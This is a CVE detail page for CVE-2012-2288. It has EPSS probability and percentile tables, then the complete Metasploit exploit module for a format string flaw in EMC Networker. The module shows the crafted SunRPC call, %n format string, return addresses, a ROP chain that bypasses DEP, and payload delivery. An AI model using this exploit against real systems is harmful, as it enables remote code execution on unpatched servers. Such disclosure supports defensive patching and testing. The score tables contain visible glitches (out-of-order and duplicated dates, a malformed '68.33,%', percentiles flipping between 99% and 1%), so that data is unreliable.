CVE-2012-2288 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	82.07%	–	–
2022-04-03	–	–	82.07%	–	–
2022-08-21	–	–	80.67%	–	–
2022-10-16	–	–	80.67%	–	–
2022-11-20	–	–	80.2%	–	–
2022-12-25	–	–	80.2%	–	–
2023-02-19	–	–	78.17%	–	–
2023-03-12	–	–	–	96.55%	–
2023-03-26	–	–	–	96.38%	–
2023-05-28	–	–	–	96.15%	–
2023-07-30	–	–	–	96.21%	–
2023-10-01	–	–	–	94.6%	–
2024-06-02	–	–	–	94.6%	–
2024-06-09	–	–	–	94.35%	–
2024-08-04	–	–	–	94.21%	–
2024-09-29	–	–	–	94.2%	–
2024-11-17	–	–	–	93.81%	–
2025-01-12	–	–	–	93.56%	–
2025-03-09	–	–	–	86.19%	–
2025-01-19	–	–	–	93.56%	–
2025-03-09	–	–	–	86.19%	–
2025-03-18	–	–	–	–	68.33%
2025-03-30	–	–	–	–	68.33%
2025-04-06	–	–	–	–	68.33%
2025-04-08	–	–	–	–	68.33%
2025-04-10	–	–	–	–	68.33%
2025-04-15	–	–	–	–	68.33%
2025-04-15	–	–	–	–	68.33,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2022-04-03	1%
2022-08-21	99%
2022-10-16	1%
2022-11-20	99%
2022-12-25	1%
2023-02-19	99%
2023-03-12	99%
2023-03-26	99%
2023-05-28	99%
2023-07-30	99%
2023-10-01	99%
2024-06-02	99%
2024-06-09	99%
2024-08-04	99%
2024-09-29	99%
2024-11-17	99%
2025-01-12	99%
2025-03-09	99%
2025-01-19	99%
2025-03-09	99%
2025-03-18	99%
2025-03-30	98%
2025-04-06	99%
2025-04-08	98%
2025-04-10	99%
2025-04-15	98%
2025-04-15	98%

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::SunRPC def initialize(info = {}) super(update_info(info, 'Name' => 'EMC Networker Format String', 'Description' => %q{ This module exploits a format string vulnerability in the lg_sprintf function as implemented in liblocal.dll on EMC Networker products. This module exploits the vulnerability by using a specially crafted RPC call to the program number 0x5F3DD, version 0x02, and procedure 0x06. This module has been tested successfully on EMC Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass). }, 'Author' => [ 'Aaron Portnoy', # Vulnerability Discovery and analysis 'Luigi Auriemma <aluigi[at]autistici.org>', # Vulnerability Discovery and analysis 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-2288' ], [ 'OSVDB', '85116' ], [ 'BID', '55330' ], [ 'URL', 'http://blog.exodusintel.com/2012/08/29/when-wrapping-it-up-goes-wrong/' ], [ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ] ], 'Platform' => [ 'win' ], 'Payload' => { 'BadChars' => "\x00\x0d\x0a\x25\x2a", 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Targets' => [ ['EMC Networker 7.6 SP3 / Windows Universal', { 'Ret' => 0x7c354dac, # ret from MSVCR71.dll 'Offset' => 156, 'DEP' => true } ], ['EMC Networker 7.6 SP3 / Windows XP SP3', { 'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll 'Offset' => 156, 'DEP' => false } ], ['EMC Networker 7.6 SP3 / Windows 2003 SP2', { 'Ret' => 0x7c354dac, # ret from MSVCR71.dll 'Offset' => 156, 'DEP' => true } ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Aug 29 2012')) end def exploit begin if (not sunrpc_create('tcp', 0x5F3DD, 2)) fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed') end fs = "%n" * target['Offset'] fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll if target['DEP'] rop_gadgets = [ # rop chain generated with mona.py # The RopDb mixin isn't used because there are badchars # which must be avoided 0x7c354dab, # POP EBP # RETN [MSVCR71.dll] 0x7c354dab, # skip 4 bytes [MSVCR71.dll] 0x7c37678f, # POP EAX # RETN [MSVCR71.dll] 0xfffffdff, # Value to negate, will become 0x00000201 0x7c34d749, # NEG EAX # RETN [MSVCR71.dll] 0x7c362688, # POP EBX # RETN [MSVCR71.dll] 0xffffffff, # 0x7c345255, # INC EBX # FPATAN # RETN [MSVCR71.dll] 0x7c363cff, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll] 0x7c34592b, # POP EDX # RETN [MSVCR71.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN [MSVCR71.dll] 0x7c37765f, # POP ECX # RETN [MSVCR71.dll] 0x7c38ecfe, # &Writable location [MSVCR71.dll] 0x7c34a490, # POP EDI # RETN [MSVCR71.dll] 0x7c347f98, # RETN (ROP NOP) [MSVCR71.dll] 0x7c364612, # POP ESI # RETN [MSVCR71.dll] 0x7c3415a2, # JMP [EAX] [MSVCR71.dll] 0x7c344cc1, # POP EAX # RETN [MSVCR71.dll] 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll] 0x7c345c30, # ptr to 'push esp # ret ' [MSVCR71.dll] ].pack("V*") fs << rop_gadgets end fs << payload.encoded xdr = XDR.encode(0, 2, rand_text_alpha(10), XDR.encode(fs, rand_text_alpha(10)), 2) sunrpc_call(6, xdr) sunrpc_destroy rescue Rex::Proto::SunRPC::RPCTimeout print_error('RPCTimeout') rescue EOFError print_error('EOFError') end end end